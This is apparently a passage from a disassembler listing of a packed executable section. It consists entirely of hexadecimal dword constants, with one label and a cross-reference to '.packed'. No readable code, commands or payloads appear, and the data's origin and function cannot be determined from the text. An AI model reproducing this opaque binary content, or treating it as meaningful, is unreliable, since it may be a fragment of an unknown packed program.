46BDFD2Ch, 359033D8h dd 0BC50D678h, 0E06CA308h dd 86AC1B97h, 9C215446h, 8C883891h, 19B54862h, 43F40C78h dd 946021B4h, 50881A24h, 0D229C65h, 48941944h, 52862C41h dd 10210DF0h, 14275495h, 7D7D1D39h, 741B3C62h, 3C7D0844h dd 3810C87Dh, 73103444h, 102C6478h, 10582724h, 201C889Ch dd 0C814F057h, 0C47F010h, 784D148Fh, 31E0044Fh, 5C7190Ah dd 480129F4h, 0D843F8E5h, 6CA32C62h, 6A1C2781h, 0D0783001h dd 9815EB2Dh, 0D0F8A318h, 0ECB22D29h, 91B8342Ch, 3827A929h dd 0DC230122h, 21D01ED8h, 0C48A9011h, 8840910Dh, 62D465B4h dd 0DA5A4F3h, 901A22E4h, 0D480419h, 24468680h, 88907021h dd 5641BBD0h, 0ACB574F4h, 8C407DF0h, 0E411D447h, 0E40488B6h dd 0C4887324h, 1185FC38h, 4587945Ch, 0EA1BC260h, 80DA540h dd 192CA162h, 707A27D0h, 20B84284h, 8085021h, 8D08119h dd 17B5C211h, 2A4E0BEBh, 8E84B7E0h, 211C4567h, 0A8265855h dd 100C4784h, 0A488D7FCh, 0D44ECC5h, 0D832B5E8h, 86B65818h dd 3429C843h, 0CABC101Ah, 0AC440D98h, 816E1032h, 5CB40D89h dd 4284A4ACh, 422820C4h, 222020E8h, 1868B658h, 323C4C10h dd 11981010h, 42140408h, 0B704841Ah, 18D78871h, 1854A970h dd 86586148h, 1821F047h, 5F71A012h, 470EB5F0h, 90482345h dd 0CE28C838h, 6F10C8F0h, 485F18AAh, 3208440Dh, 0CEF4317Ch dd 0E0188011h, 212C4686h, 86F495C4h, 1C4428C8h, 0F1100DDCh dd 788E1818h, 80788C7Ch, 8C2C788Ch, 0A1AEF453h, 0FD32D6B4h dd 4F3F148Dh, 0A30821CEh, 52A89128h, 11BB8ACEh, 94399C14h dd 2B994334h, 7415E720h, 1078230Dh, 0C480C864h, 313C3250h dd 0AC580C40h, 263843DAh, 0DE87A04h, 88277C94h, 0B4F0621Ch dd 820F4B1h, 49408490h, 4112FB78h, 81F8005h, 203C42E0h dd 0C2548331h, 4E09CA29h, 0B67C23AFh, 56B4F008h, 0C2B1043h dd 2D8B8BE1h, 74C2D412h, 0A522E71Eh, 10044702h, 0A48AD5F8h dd 4AE8C5A6h, 0CEA6D80Dh, 44290DF5h, 0C9CC101Ah, 24B5BA20h dd 0B062E00Dh, 0A818C819h, 218C4686h, 0B6B4889Ch, 0D0329464h dd 0DC0C8831h, 7C21B543h, 6974C092h, 10A30D5Dh, 0C434C86Ch dd 31303264h, 0A4640C5Ch, 0B4342141h, 8A0D5C14h, 84881A54h dd 0DB56EB6h, 40109823h, 0B5BBE1DEh, 0A2090F0Ch, 300431D5h dd 0D29B600Ch, 1C460DA2h, 5C912021h, 0C8641488h, 14190862h dd 0D442FC18h, 0C8B5D810h, 224865ECh, 0B819DC1Ah, 86D00D48h dd 0D1F9EC4Dh, 0E0882C0Dh, 9557C453h, 119F0442h, 0D8221901h dd 18050C52h, 7084B544h, 0E04384F9h, 0C890ED21h, 8C64E1C8h dd 0B419D532h, 0A4C93C52h, 0BD32D00Ch, 2452DC19h, 0CC019B1h dd 744386A5h, 34959921h, 908D210Ch, 6A81C830h, 7974436Ch dd 0B644107Fh, 8988171h, 22F48369h, 220C0461h, 22600459h dd 221C0451h, 0DC5C0449h, 478EC8D1h, 88D82314h, 0B8C4B648h dd 0AB5EC71h, 146418C8h, 0D4B86870h, 0F4C7CB99h, 0D49C8808h dd 448880C7h, 0A26C6270h, 19B4F80Dh, 43FC0C58h, 914421B5h dd 643488A8h, 12EE9D08h, 1A91CC0Dh, 0A4380C0Ch, 0D3F8210Dh dd 0E4883011h, 0BA9D4064h, 0D8B7001h, 68A33541h, 8040C448h dd 3889B4F8h, 0F07110A0h, 0A810C930h, 821B84Ch, 0CB3B0BB6h dd 1C38C591h, 40438E30h, 55EC1CC8h, 3536331h, 0E517C868h dd 0CC48D1FFh, 0E21D44E4h, 0B72084C4h, 892F6124h, 0C21F441Dh dd 2045D39Eh, 0AF3D740Fh, 1C62B2ACh, 0BCB4999Ch, 528CF50Dh dd 8173EC0Dh, 0BDB5BC08h, 0ECFF61CBh, 28C80AB6h, 0E2682467h dd 501CD37Ch, 0A67011F6h, 23644363h, 0DC541028h, 40100D29h dd 2CC478C8h, 1C31AC32h, 0B643C40Ch, 60941021h, 6404881Ah dd 0D27F9C0Ch, 0B4FC2184h, 290DE895h, 0D0101A94h, 45418CCAh dd 440D4AC0h, 2228E4D8h, 75D1168h, 5510080Ah, 4D107821h dd 4510AC21h, 27467B41h, 0C3768310h, 71104135h, 10A02DE1h dd 0D025F06Ch, 0FD786710h, 976210A0h, 0BA34035Ch, 30884DA6h dd 0B4282C64h, 0EF94D242h, 4CF67351h, 967C5318h, 9EB55011h dd 2E2C1221h, 90382166h, 9C6CA234h, 215C474Ah, 0E0B09548h dd 0AC443CDEh, 40444AA5h, 0FF143C32h, 7D52240Eh, 18904A21h dd 0BC6FDCC8h, 0D4460D2Ah, 8AD1E810h, 0DC64649Ch, 745B6C22h dd 9CCAD411h, 48435474h, 0DC424421h, 7DBE9ED1h, 0BC548CCCh dd 0B546A05Ah, 0A812F178h, 50104A95h, 0B04421DDh, 52907C38h dd 8C434A86h, 10B1702Bh, 6CBCC97Ch, 0F80D8832h, 5C4386B5h dd 0C33AB023h, 90D8502Bh, 44C08870h, 44BC0831h, 0E8F80A29h dd 0C488B0E7h, 58212E50h, 3CA25490h, 21244734h, 0DE849108h dd 0B8641021h, 5C478660h, 3242EF4Ah, 54C35B5Dh, 0E75351A2h dd 2B560CF1h, 0C935770Bh, 0F03A57A1h, 2C3E7407h, 0B3575EFFh dd 0E26803CCh, 272F95DBh, 3170108Bh, 0F2B71284h, 1D02B7DAh dd 0B5D6F25Fh, 0FC702099h, 10341C14h, 1950B2B7h, 2BC80A51h dd 8CB70450h, 34880843h, 112B1D64h, 0CC8F1F7h, 1C3810E4h dd 0FE92186h, 230AC351h, 0E2189014h, 0AB51904h, 1C518FC8h dd 211CEE1Dh, 8110DAE8h, 11855BACh, 7128C824h, 854D0CD0h dd 2C282764h, 8830438Eh, 2B1964B4h, 0C8F0F311h, 3838E434h dd 0E521869Ch, 0ABF510Eh, 40903C23h, 0B11980E2h, 518BC80Ah dd 87481C44h, 7D21C338h, 4C28BC5Bh, 9E50438Eh, 0AC499061h dd 54118523h, 347158C8h, 6785150Ch, 5CE418EFh, 431C6072h dd 0DE11018h, 868CBBA8h, 0D9F82126h, 3907BB11h, 1E591475h dd 0D12D158Ah, 8C140C8Eh, 0D0B950C9h, 0FF594A28h, 74855D5Fh dd 0F3AC0424h, 481975A1h, 0F48AB80Fh, 0A85B3D39h, 64C32DC9h dd 1004D9C3h, 74290Dh, 0C985C033h, 59FF0274h, 888E63D1h dd 0F4562511h, 8D5B0173h, 6E33F845h, 6CC144D4h, 0BC2E7D89h dd 0B088644Ah, 2BC88B40h, 84300FCFh, 0E9834D97h, 8712C832h dd 23744861h, 536E0A9Dh, 2010BD17h, 0C6814FFh, 188BADCh dd 471EC9AFh, 82DB9030h, 0F89D495Fh, 9D093CE4h, 712062Fh dd 0C75657B9h, 0B2DCC9EBh, 1274F761h, 56D4D9B2h, 0C73B6290h dd 0EB0D7473h, 69B868B5h, 94884F09h, 591C0CB7h, 8D200E69h dd 0CC22FC63h, 841884A5h, 12BD04CAh, 68F73041h, 0CC66A088h dd 763E0239h, 45E8DE6h, 0AC1864DCh, 83479Bh, 3E3B18C3h dd 0D2EBF172h, 22E7DEABh, 4BD75614h, 0A96441CCh, 3DE9F4D3h dd 52C6682Fh, 2F1249FDh, 0DAD83F32h, 7EB67E0Ch, 64BE15F3h dd 0F23D0AB7h, 23F10B64h, 3868D1F0h, 28F2DB56h, 0D380C26h dd 5EC68B18h, 84B4FBF0h, 0FF1FFA61h, 7E01FEC3h, 57CED81Dh dd 0E6E975D1h, 8DDA19F7h, 542E34h, 1C3AB70Fh, 4042C703h dd 5FF67549h, 23C704EBh, 5E918508h, 94840574h, 82C1030Ah dd 0AFF52549h, 10E907F8h, 7F3F5FCFh, 660EE86Fh, 5F9AD0F7h dd 7793A757h, 19350C42h, 7381BF0Dh, 23C2048Fh, 0A4057C8Bh dd 0C09534FFh, 2EA28353h, 571C6A02h, 218496E8h, 824794F6h dd 797C9869h, 0E8267E01h, 248B0BE6h, 0BAF40A6Ah, 4C05F74Bh dd 6F2722BBh, 4614B198h, 7C263B54h, 0C78BDA12h, 0B76D3410h dd 0BD97696Dh, 9605EB10h, 5E2C913Ch, 88648538h, 0D111213Ah dd 225F4A53h, 4DCC8149h, 8B033B40h, 1424345Ch, 825A867Eh dd 55FBF2F4h, 7E140030h, 0B30E816h, 0C934F697h, 1433407Fh dd 3B47071Fh, 0B7EA7CFEh, 5F028E24h, 0F95FC38Bh, 47511CB0h dd 0CFC6583h, 2C98C7AAh dd 65BF01E0h, 0AED88BBh, 0BE8340A4h, 84431918h, 0CFC044C8h dd 5CA0F2Fh, 416A0B0Fh, 5A007FD8h, 375C13Bh, 0F8FC5589h dd 5BF90183h, 616AF37Ch, 20104A59h, 7D8B0A7Bh, 42C35608h dd 0EAB10B4Eh, 9E100B0Ch, 4227BC0Ah, 0F9ECE40Bh, 0C5C0A92h dd 585971F0h, 7EDFF494h, 68079C39h, 88AE0814h, 2DDBB6C4h dd 1C514590h, 0D94E119Ch, 0A25F220Ah, 8759729h, 987E0AB2h dd 569444AFh, 4B17D695h, 11D7170Bh, 0D54C7EAh, 0C8E81819h dd 0C5942814h, 0C42DEB99h, 4B045CBFh, 74144732h, 1E591E2Eh dd 1127C12h, 442741F7h, 0E239554h, 0F263F302h, 5CEB2240h dd 750A2790h, 3CBE0714h, 14C2310h, 0BE3E755Ah, 0A43C0838h dd 75051551h, 5299502Eh, 8C230834h, 30210164h, 2311322h dd 1DBD2CF9h, 5428D864h, 2068847Ah, 42CF0A9Ch, 91FA109h dd 9A8C40Bh, 1CC57F9Ah, 0C48AEB56h, 265C1070h, 14E04C05h dd 2C675468h, 64069AF0h, 4A3A2B76h, 0B8022140h, 0EE29A050h dd 7B2B22EFh, 1DCC8DB5h, 55E49342h, 214C68A5h, 4B20EB5Ch dd 174BDB2Bh, 34082F46h, 7E0B0B88h, 0D7BC2Bh, 765E0289h dd 257ADA1Fh, 69E610D7h, 4E138211h, 6B2E1F7Eh, 45C72505h dd 969A3BAh, 0BEF5021Fh, 0D4BCC254h, 1574401Eh, 0F46F468Dh dd 9808524Dh, 0D8F7050Fh, 0A0D0BF59h, 5C8B0AEBh, 3B17490Eh dd 94370F4Dh, 0F075FED9h, 1406C683h, 0CCFE8147h, 0CB721F67h dd 8DA7B0EBh, 14ECBF04h, 23588536h, 107D2DF6h, 6982E144h dd 5993A175h, 0D3B6C35Dh, 44BDCB0Ah, 388031ECh, 7E050FC8h dd 3D474044h, 7CEFB0EAh, 4BEBEE17h, 0DDF79309h, 125DD29Ah dd 141850A8h, 2C868D10h, 40C0B940h, 44128B04h, 8BAD1C24h dd 1EE52664h, 0D74A64Dh, 21141403h, 30327816h, 0D480277Ch dd 4A5E2288h, 45814C79h, 74BC2F98h, 0B66D2688h, 0A5F3028Bh dd 0C719EEF0h, 1379480h, 0CD9F09A4h, 0B5F01226h, 0DB0B1F8Bh dd 0EC1E46D1h, 3EB26C17h, 0F56A1417h, 0AFAD3A23h, 0A5E5294Fh dd 6B27D69Fh, 5627F5FCh, 299FC780h, 44AAEF64h, 23EDF19h dd 3B49443Ch, 0BE1B0975h, 12346504h, 39B66A2Dh, 84C85810h dd 0A2AA0682h, 0FE427097h, 48841020h, 24095743h, 1C1AC681h dd 641D5F8Ah, 5347C8B0h, 0CB43554Ah, 90DB3310h, 35F33BEDh dd 0AD36797Eh, 717D12CBh, 0BAA3365h, 99FAB618h, 0E5BE8D2Fh dd 1F3983B8h, 0C41D0374h, 2AF2895Dh, 9E052F78h, 74064870h dd 0C1E2F4A7h, 35E740E8h, 7C210227h, 0E30A8824h, 42503C06h dd 18469537h, 80508D74h, 36FC1F35h, 1EF410A4h, 0C55BF1B8h dd 0D4FBF152h, 0CEE3C5Dh, 555BB9A1h, 1554BDC9h, 0E2BE4301h dd 692451E0h, 614A4AD7h, 0B0380C5Ah, 9E88BE29h, 3B1246h dd 851A759Eh, 39EC7EFFh, 47823E4Bh, 535760DFh, 491253E8h dd 4514033Ch, 43884BFCh, 4EB5223Fh, 0C94F12CFh, 0B988204Eh dd 11FECEA4h, 24543B00h, 40017504h, 27C15181h, 0A170F9D8h dd 3FB2E926h, 2290D2D2h, 35903B31h, 11520873h, 22422B21h dd 8F0E5E13h, 0B68B97C2h, 0BE396064h, 7C09E909h, 3DD899Ch dd 4BE5BA7Ch, 25A48757h, 0CA1D5B7Eh, 0D11C25E8h, 221A1367h dd 9329C294h, 8C2DEE90h, 6438C81Fh, 1032A664h, 1A380166h dd 0ACE5486Ah, 68E65A72h, 14E39D1Ch, 4A2B4EBh, 66953377h dd 88892456h, 700C4CC8h, 21744386h, 0C87C9078h, 91FCBD80h dd 4C42BEB0h, 0B6F5DCC2h, 58A90E0h, 74C9840Eh, 0AFFC875Ah dd 0C9328DBh, 0D2F312F3h, 0F9804CF0h, 2E642A75h, 0A7863F0Ah dd 15B410Ah, 65CA3AEFh, 0AA5F44C5h, 108D0583h, 5850460Ah dd 99892A1Fh, 9A2F4C58h, 0EB45C010h, 1731D113h, 14D0E815h dd 47464E86h, 0EEA0EB24h, 0B942A1Fh, 101D2A5Fh, 120BF050h dd 0AF5C8B69h, 0AB0AE9D3h, 8593080Bh, 0C802EB8Dh, 182C2721h dd 82C86D0h, 0C02AB7F7h, 0F87D210Ah, 3980581Dh, 75E281A7h dd 0CBE4106h, 110A4CF9h, 198A2C60h, 5D66FB80h, 4C2D396Ch dd 6779094Ch, 0E12D1C3Dh, 60418A2Ch, 0D8E7711Ch, 3A00FF49h dd 3C1F7DC8h, 771B745Dh, 163EC939h, 0E9E75D50h, 0D93AF08Ah dd 0C177C3Ah, 0A8137FD8h, 5F320D89h, 0CFFB0CEBh, 75183A80h dd 0FFFCEE9Ah, 8750024Eh, 0A2A68C82h, 0D62B98F8h, 431397D2h dd 0C4E63BF9h, 17FF51CEh, 0BAC91B49h, 12D6298Ch, 0BAD15D8Dh dd 0E54FF99h, 0A0201861h, 74180438h, 88098A1Ch, 6820A2Dh dd 0C21510EBh, 78940B4h, 0E0EB2090h, 0EA8CE2EDh, 1EDE042Eh dd 8A07F5D0h, 0C7CB3A08h, 38168119h, 1BD311Ah, 9B6FEBF2h dd 0F24E0B1Dh, 48054C19h, 3604F160h, 0D8FE62E8h, 3C7D7547h dd 3A62076Ch, 0BC106A8Ah, 24741E7Fh, 0D3124C8Ah, 0B9C605F2h dd 0CA34E8EBh, 113011F1h, 0CB725D32h, 0AE292D05h, 0C4800A2Ah dd 0D363B20h, 76970CF8h, 0C94E96Bh, 5CD894BDh, 6CA06253h dd 782431Eh, 276E8CAh, 0A5799550h, 0BF4CBEA8h, 457480E8h dd 0DAD8BE56h, 9101901Fh, 0EE032F76h, 0DA46E240h, 0CC317EE9h dd 35406068h, 0E301EBE8h, 571191C2h, 13A065F6h, 1C56C831h dd 4076C6E6h, 0E0F87E24h, 5E2F3926h, 0F1C4C3E5h, 40534A84h dd 0AB324C64h, 0AF18817h, 4B5E0626h, 1845F16Ch, 29E39A23h dd 5F34146Ch, 0E0954CCFh, 9FE140A1h, 0D3CA226h, 2725652h dd 0E801348Dh, 2375AD4Fh, 3E543DA3h, 53682450h, 2A22818Ch dd 0A86F6D85h, 0C2D71E2h, 6C5E5230h, 0F2C4D2D1h, 566124F0h dd 0D412E384h, 7608B71Bh, 0D7C4A943h, 0A4282299h, 0A0EAB855h dd 395DE8D9h, 2293524Bh, 1F2022F8h, 8FC4E87Dh, 91893D83h dd 8B08924Ch, 0A8B208F4h, 0D5F65189h, 21F05991h, 42619110h dd 0D2573E11h, 0A7286445h, 874505F5h, 1E7E8D21h, 85CA8A20h dd 0A4B83A14h, 90213F1Ch, 8A68BC22h, 480EC608h, 0E1E378C6h dd 11238986h, 4930C64Ch, 0F0C41C5Fh, 5F40E203h, 744B7349h dd 0BD8D04C9h, 0B5F3EACCh, 70B62823h, 0CD71D724h, 34E631D1h dd 0E0A639D5h, 63408BEh, 186C83EEh, 11BB4B28h, 0D6C38B33h dd 54309AE4h, 7888E66h, 2F64EF12h, 0FFF08CEBh, 738D330Ah dd 86A49D8h, 0CCAF0A13h, 70536852h, 855A27C8h, 122657CAh dd 39EC6578h, 0FB705EDCh, 0B72CE895h, 4D651942h, 2C530A98h dd 14E9CE45h, 901E9319h, 0A4375979h, 1E56761Bh, 35800F44h dd 0F2935CBDh, 610941AFh, 95510D1Fh, 3E33240Eh, 0DF1D2EBh dd 0B28959DCh, 0EC1421B3h, 99C01221h, 8C427F0h, 70169003h dd 1C2A83BCh, 0E81918B0h, 0B4162F6Ah, 0AACA080Ch, 0FBA036B5h dd 28B88524h, 453816Fh, 2E44C481h, 0D833CAA0h, 0C3834422h dd 14094048h, 26F83B39h, 0FC6549EFh, 0F20CB12Dh, 0FEEE863Ch dd 0E03A428Dh, 9768331Ch, 82BF75ADh, 4C5AF9C6h, 9A572C27h dd 0A5D145A5h, 0D809C7D6h, 2547C4F8h, 1DF277Eh, 80C534D2h dd 0AB2F122Bh, 0FEC1A629h, 896FCA17h, 8E18FDF9h, 16A613EBh dd 0E322A043h, 0F3995971h, 87DFB678h, 4496E408h, 42CDC18h dd 5E850244h, 8348F438h, 256F6C9h, 104B8FCh, 7006E0C1h dd 98263989h, 22B202DCh, 56A20A7h, 99AC3FE8h, 0A54C05A1h dd 0B3A05565h, 0D83CBE57h, 4616CB2h, 0A3535679h, 1886DAE9h dd 0D481D89h, 42F45695h, 0F55408BFh, 0D53B039Ah, 4CD9BA40h dd 0A2FAB080h, 185B426Ah, 0B49D38B9h, 0F6A39DE5h, 40442883h dd 607F7D6Ah, 1D7579D0h, 0F897458Dh, 1785E5ECh, 43FA7FE8h dd 0D405C72Bh, 0C5B8F8F4h dd 0C4101AEBh, 23204337h, 13EA345Fh, 0FC874520h, 0EF00C9FDh dd 0C52442ECh, 54FC1142h, 181824D6h, 0F5351EC1h, 1C067591h dd 954544A3h, 68539EA2h, 6D557F89h, 1D0D14F9h, 0A0BDB25Bh dd 70DAD81Dh, 5CE8854Ch, 20E06841h, 663E7D22h, 78E2E64Bh dd 7DFCFD45h, 9E279295h, 0E4BE8D4Bh, 5152B7Bh, 0DCF4C428h dd 29B4F023h, 44E8235Ch, 0F9428DDBh, 0ADAE0E1h, 781A5F3Eh dd 298A18DDh, 0DCF8E224h, 38F95B22h, 4885DD7Ch, 9B3B9120h dd 244053E2h, 4ADCF4C4h, 0B062B6ACh, 102447FBh, 0F4111104h dd 28DCEC84h, 91DA44E0h, 0E240E921h, 81DDCECh, 43F4DD80h dd 0FB421178h, 79459B1h, 0F77EB249h, 3906E868h, 73E49926h dd 20011262h, 0F5CCE807h, 89FC708Eh, 57D9287Ch, 0D7A41014h dd 0BDBD1888h, 0A41FC898h, 19A0E40Ch, 0D82824A3h, 0D7A87824h dd 8EF83788h, 52D82C21h, 66172024h, 88208280h, 0B5235D1Dh dd 52DF4890h, 72338FAh, 84F2EE80h, 9CA31808h, 0EA9851D7h dd 34E6EF22h, 0D0D79C21h, 448FD830h, 0FA1F3110h, 9336101Bh dd 0C796D4B4h, 13674894h, 0E80382F8h, 0DE3BF4ABh, 14BE1621h dd 268E2DE0h, 5C6A1E5Bh, 7C8AE88Fh dword_4E414C dd 84DCF12Fh, 0AB188802h, 0E7127BB5h, 0DDA307E1h, 8C234C0Bh ; DATA XREF: .packed:off_43A848o dd 99AADD44h, 3F036B79h, 257D88A3h, 49408D28h, 28010EA2h dd 0DA240D89h, 4C441384h, 89281A50h, 94EDEDE8h, 0A0BA59F6h dd 8842C4ACh, 2891F965h, 0C60403C4h, 0A32021F1h, 410AE1C9h dd 0F2BD2A59h, 3A530DA3h, 0E134A128h, 1FDC841Eh, 1BF8F721h dd 4F920E11h, 3CA95964h, 8D25CD48h, 1BBE3E1Bh, 3533EC4h dd 0DD3F67FEh, 0BC922A98h, 45C88640h, 74ADBF17h, 0FD49A413h dd 2D632DA8h, 5B068B4Dh, 9E063751h, 0C3F51049h, 896B3979h dd 0F806F4B2h, 0F001FC04h, 0BEEFD7E8h, 590F8BF5h, 713D6976h dd 936DAC3Eh, 0C9F8ECB4h, 0CEF1F409h, 15E867B0h, 1873A006h dd 1B76D939h, 0D2AE56A5h, 441ABCF5h, 2F58698h, 378B24FCh dd 7FAC62A9h, 0F605D007h, 0E9A01F7Ch, 25C50308h, 94AF44Dh dd 693D06F8h, 4A1021Ch, 7BD192CDh, 1208B02h, 5F075653h dd 0E8CDB33h, 27BD9C02h, 830C3077h, 0D181A2FEh, 0D30A2ADAh dd 9482BB14h, 0E8CA0CE4h, 0E594DE9Dh, 68B221E6h, 8004E87Eh dd 0D0E28697h, 448D6929h, 0DE7216DFh, 5D89C56Ch, 0D0AF50F8h dd 0E0106194h, 72533CFEh, 0B53789E6h, 0BD6515E4h, 1C521019h dd 0BD566D94h, 0AF628D4Ah, 9FA1C1D8h, 62DAD9D6h, 8379028Ch dd 0B0C8904Eh, 0D475606Fh, 9E4880C7h, 0D840CC86h, 4C345291h dd 76C64FE9h, 0DE052BF7h, 34DB6959h, 52833E09h, 2A3CEA41h dd 92F484C5h, 0F8AE45F3h, 4ECFF07Dh, 41939474h, 0BA3F654Eh dd 34EB240Dh, 45080914h, 0B3DD528Bh, 0C412358Ch, 3528574Eh dd 3CFD4474h, 0C4102142h, 14188AF6h, 5EEE364Dh, 2DAE66A8h dd 35C864CAh, 95A3363Eh, 22144F44h, 71A62DE5h, 7B0930E0h dd 49D78068h, 2A14D4AEh, 9014215Bh, 3DA0D269h, 802D80ECh dd 0A940BD27h, 4C177AFh, 0DD6D59E8h, 8BB93D40h, 0EE0A46C0h dd 0D82225E8h, 218B506Ch, 0C28F4DF9h, 6B84265Ah, 49E9D044h dd 6D4224ACh, 9A26F88Ah, 3882D101h, 0CEB59E0h, 16A805A1h dd 0FE882135h, 48F8E713h, 59387943h, 0ED96FD6h, 0C3245208h dd 0B4C07C2Ch, 0FDF40815h, 153111A4h, 0EC08FEA4h, 0A8E420B4h dd 9411C432h, 0F8D8A80Dh, 85119842h, 548D3E9Ch, 80AAFC3Ah dd 902D2978h, 0C424AAD4h, 772F9A27h, 3EC655D1h, 5B509859h dd 84C913DFh, 9EE6E38Fh, 187C0153h, 19DC8AB4h, 98899A31h dd 0AA405F72h, 5A9AB6B4h, 0BBD4F441h, 0ECA2C564h, 2535927h dd 0FC30ECD4h, 0F73DE860h, 0EB0B27CEh, 81B378A7h, 4DAF5080h dd 0BE697282h, 0C7914044h, 5468E332h, 44E0245Fh, 7B8CABD8h dd 34B8C84Dh, 22206884h, 41B8B188h, 3F3831F4h, 8502C2C4h dd 92531D75h, 91B9791Bh, 0E8C49DC4h, 0A19CD681h, 3CFE4234h dd 59E0F0ACh, 651DFE9Dh, 0D4C54E04h, 4FEB356Ah, 1C89FB22h dd 9CD2A466h, 38042E52h, 0B789AF82h, 8C82C819h, 0DC7D89D4h dd 4C505D69h, 2142EC7Ch, 73863C22h, 2D637A97h, 0FF52EC9Dh dd 44CDD84Bh, 4BE8F416h, 93ECD24h, 0A4E43A45h, 38C14A24h dd 0D84A4D35h, 0A20B3278h, 2D4AC0C6h, 0FF1E046Ah, 0A2F5EBD6h dd 2170912Bh, 0F3CC8EB4h, 42C6291Ch, 0A9668CE6h, 3B472D80h dd 860FB0A0h, 8DA2515Fh, 0A158D020h, 8768DE93h, 68EA6020h dd 3EB73E50h, 0BD17E555h, 49A20464h, 5A8B5026h, 32745B24h dd 11F72B71h, 4626F03Ch, 1BD53BA1h, 668C6614h, 0A7EAD426h dd 3B250AD5h, 0C951DAEDh, 53AFEDDEh, 67F73F5Ah, 82DC2170h dd 0EE99E8D4h, 36534669h, 3A776B45h, 5AA26913h, 0C875DBA4h dd 12E613F9h, 0F8C4745Fh, 642BC83Ah, 5E125244h, 895E2D01h dd 0A83EA8B0h, 0EFC4E1ADh, 0C84334C2h, 6A954296h, 4E505606h dd 4EB9FBB0h, 5C5F74C3h, 15E52173h, 0E99683A5h, 48B12700h dd 0B93E74DDh, 71D89243h, 2B44BF24h, 2254DC44h, 0F206E016h dd 2780F3D5h, 4AB1E448h, 9B08ABE0h, 1000AC44h, 563C62D4h dd 4981568Bh, 5FA3B1F7h, 0FD3B5E31h, 25CD9013h, 2AE12F34h dd 0E46ECE5Dh, 4C0859F3h, 7793CCA0h, 0A483C705h, 338C0BA9h dd 0B3D4D0ADh, 10CCB29Fh, 2584227Ch, 0ED4EF1D2h, 0BE47C6BDh dd 0C5672425h, 1CFCD805h, 4BBB0891h, 8885BC22h, 68049E5Fh dd 6CC7C59Bh, 3B84117Fh, 249BB1C7h, 0F45C7D60h, 326A134Ch dd 0FC946037h, 7DCCA2FBh, 0FB8CB331h, 5822BB89h, 0E084326Ch dd 66046A27h, 0E1FBE27Bh, 6CAA6B38h, 8CBF525Fh, 0FF3DE916h dd 308A2DA9h, 504654F1h, 0E404D4B2h, 0EB84D02Ch, 0F042E10Ch dd 0E091877Ch, 1CEE2BB1h, 3EFC8BFCh, 0F8100821h, 241D08E2h dd 0D3B9389h, 9338742Bh, 84ABE910h, 21902B75h, 595191A4h dd 18D02C0Dh, 11E65459h, 0E87B40B5h, 1299D220h, 0EBB816BCh dd 0AA4F3FB2h, 5C886025h, 0DD60FCC1h, 0B201C0Ch, 0DAD853C3h dd 0CF040EBDh, 290833F1h, 0A3F527ECh, 0EA1C74B7h, 157686Ah dd 1ACE83EDh, 16202431h, 0CC7AFA76h, 4735ECEh, 0C68B3E18h dd 0E108C28Bh, 0C8C0768h, 6198D980h, 82144D28h, 4E083C37h dd 0F010427Ah, 2E74F60Fh, 805624B0h, 9AD2035h, 0FA331898h dd 67146284h, 445FC603h, 54225539h, 0CB7B8960h, 0B5933A8h dd 10C25D06h, 74898268h, 82749785h, 85D6A306h, 0A766838Ah dd 0CB2F269Ch, 0A6344098h, 0BF3DFC46h, 1E7D7FA2h, 0F8030B50h dd 0C39D0F7Fh, 0FEE3B94Bh, 8F03B3EBh, 5797609Ch, 7507BFEBh dd 0CDC03204h, 5C2CB258h, 39C89050h, 589897ECh, 751801FBh dd 88288A0Fh, 76FF3A07h, 7B478D9Fh, 1AEB3607h, 0A982C6C6h dd 8F8C10Dh, 1B072088h, 1C480265h, 82A03203h, 16B7D9F9h dd 8A4A19A5h, 5914FB01h, 0AFB03BFCh, 84D7CE5Fh, 4D8D1B90h dd 445861F8h, 2BF25A01h, 0D6E9E812h, 4FF028C0h, 26C87BEFh dd 28ACA40h, 543CD995h, 0A5942315h, 0D0FA316Dh, 8A09EC21h dd 5495F8D9h, 180F6F13h, 555FCE8Bh, 93663EFEh, 41E5E440h dd 0A0E7E896h, 0C9427A23h, 7C4155D5h, 7F5108D9h, 324671E8h dd 0DBF4372h, 7D0689F8h, 0D36671B4h, 168508EAh, 2ECA12Fh dd 5903E5D0h, 1B4E6750h, 49B3D50Ch, 9A85EA2h, 6D1E221Ah dd 185B23A2h, 8C64E861h, 88838499h, 0D5C36828h, 0CFB061E3h dd 91060242h, 8A0B546Bh, 0C4569C3h, 0B3A46048h, 572A077Fh dd 85D6BA9h, 11588F72h, 27B83854h, 0E60779E8h, 0FA70E9BFh dd 10090A98h, 0DA338F0Fh, 185D0551h, 8708438Dh, 2587E320h dd 4A561D33h, 4BCE6DD0h, 4CC02010h, 0E1B008A9h, 0C2FF0D44h dd 0E5C0193Ch, 0F0C80C34h, 0D878862Ch, 0FD302445h, 23081C68h dd 4E3F2843h, 3004FCDh, 640F10EAh, 919F8DBEh, 0FCF3C10h dd 0CABE27F0h, 0A835606Eh, 6A5680F7h, 17874248h, 0F58DEA0Ch dd 80BEABFh, 6224FC68h, 53FDF4E8h, 0F7A421D7h, 0B819C57Ch dd 21B55909h, 51107E2Bh, 646C9839h, 44A8ACFEh, 8C2868E2h dd 0AD806F26h, 0B5ACFE83h, 0A456CD44h, 446A312Ah, 7DE9AA58h dd 6E119057h, 6C9FD440h, 55732EA1h, 9FE10EFCh, 0ACD65DB3h dd 1C0C736Dh, 1648FEC9h, 44FC52E4h, 66114388h, 5F846885h dd 18A2F86Bh, 0D14F889h, 44D51E95h, 0AF171034h, 1D88ACE5h dd 71217D2Bh, 8057E88Ch, 954893B4h, 0EC202932h, 1C90C041h dd 68B4C8EFh, 72E112B7h, 2C98E964h, 0CFACFC61h, 8CB95978h dd 5AB177AAh, 2A34BB15h, 52A10ED4h, 0C40E52ADh, 9F74241Bh dd 9CA7E49Eh, 0FC491FC6h, 14178F78h, 0D50F8A5Ah, 91034179h dd 1C199B94h, 922168D8h dd 86DC7108h, 680210FCh, 0CAF3A680h, 6687F11Eh, 0CD917CCh dd 254C34C6h, 2173A63Ch, 0F016FBB4h, 922C561Eh, 2E8A0BC7h dd 6427DC1Bh, 36064C0Ch, 6CA7433Ch, 556811B7h, 5695597Ch dd 0F42C59CCh, 0DB466C60h, 7C4148FDh, 5B4451A6h, 2B785568h dd 2BA11A95h, 3F56AB75h, 2946B046h, 30917451h, 566C6814h dd 85D976C8h, 428E261Ch, 98867105h, 564B561Ah, 5A53847Bh dd 0FAE2132Bh, 0C6734CF2h, 0D895E2Ch, 480ABC75h, 110EEB04h dd 59CB1048h, 45104427h, 0F8E85756h, 7AC65F89h, 6FF2F055h dd 0CCEF0253h, 13C76A58h, 89D10146h, 